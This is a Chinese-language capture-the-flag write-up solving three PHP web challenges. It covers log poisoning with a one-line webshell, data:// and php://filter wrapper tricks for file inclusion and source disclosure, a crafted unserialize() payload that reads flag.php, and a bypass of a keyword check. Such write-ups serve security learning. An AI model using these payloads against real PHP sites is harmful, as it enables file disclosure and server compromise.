目录

1、ctf.show_web4

2、[ZJCTF 2019]NiZhuanSiWei

3、[BSidesCF 2020]Had a bad day

---

---

1、ctf.show_web4

伪协议被禁了用不了 ，可以上传一句话在日志里面，然后连接。

nginx的日志文件在/var/log/nginx/access.log或/var/log/nginx/error.log

2、[ZJCTF 2019]NiZhuanSiWei

   
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "
".file_get_contents($text,'r')."

";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

用data伪协议绕过文件读取：file_get_contents($text,'r')==="welcome to the zjctf")

text=data://text/plain,welcome to the zjctf

然后用php://filter伪协议 让useless.php的内容显示出来：

file=php://filter/read=convert.base64-encode/resource=useless.php 

 源码如下：

  
 
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

__toString  当一个对象被当作一个字符串被调用,构造file="flag.php"就行了：

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

源码中有这样代码：

$password = unserialize($password);
echo $password; 

 password经过反序列化后是一个对象，用echo打印出来就是把它当做字符串，所以执行__toString（）。

3、[BSidesCF 2020]Had a bad day

index.php?category=php://filter/read=convert.base64-encode/resource=index.php

出现报错：

 
Warning: include(php://filter/read=convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

很明显多加了个.php,把.php去了：

index.php?category=php://filter/read=convert.base64-encode/resource=index

出现源码：

 
$file = $_GET['category'];
 
if(isset($file))
	{
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
	include ($file . '.php');
					}
else{
	echo "Sorry, we currently only support woofers and meowers.";
			}
}
?>

直接包含是不行的： 

category=php://filter/read=convert.base64-encode/resource=flag

要woofers,meowers,index在里面而且不是第一个字符才会包含：

category=php://filter/read=convert.base64-encode/index/resource=flag